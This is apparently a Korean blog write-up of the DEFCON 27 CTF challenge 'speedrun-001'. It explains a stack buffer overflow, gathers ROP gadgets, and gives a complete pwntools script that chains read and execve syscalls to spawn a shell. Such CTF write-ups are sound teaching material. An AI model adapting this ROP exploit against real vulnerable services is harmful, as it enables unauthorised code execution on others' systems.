Write-up
[DEFCON 27] speedrun-001
dtqdtq01
2019. 8. 1. 21:19
speedrun-001
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
간단한 SROP문제 입니다.
-
read()를 이용하여 bss영역에 ‘/bin/sh’ 입력
-
execve를 이용하여 syscall하여 shell 획득
IDA로 바이너리를 열어보면 바이너리가 엄청 큰 것을 확인할 수 있다.(분석량이 많다는 뜻)
그럼 우선 삽질을 줄이기 위해서 문자열 기반으로 검색해서 분석해봅시다.

“any last words?” 문장이 있는 함수를 한번 살펴봅시다.

buf의 크기보다 read함수에서 더 많이 입력을 받고있으므로 Overflow가 발생한다.
그럼 이제 공격에 필요한 가젯들을 찾아보자.

ROPgadget을 이용해서 필요한 가젯들을 찾아준다.
pop rdi, pop rsi, pop rdx, pop rax, syscall
from pwn import *
p = process('./speedrun-001')
e = ELF('./speedrun-001')
bss = e.bss()
syscall = 0x4755f5
pop_rdx = 0x4af0fa
pop_rsi = 0x48ad4f
pop_rdi = 0x48fbf7
pop_rax = 0x475821
payload = ''
payload += 'A' * (0x400 + 8)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(syscall)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
p.sendafter('?\n', payload)
p.send('/bin/sh')
p.interactive()

성공적으로 shell을 땃다.. ㅇㅅㅇ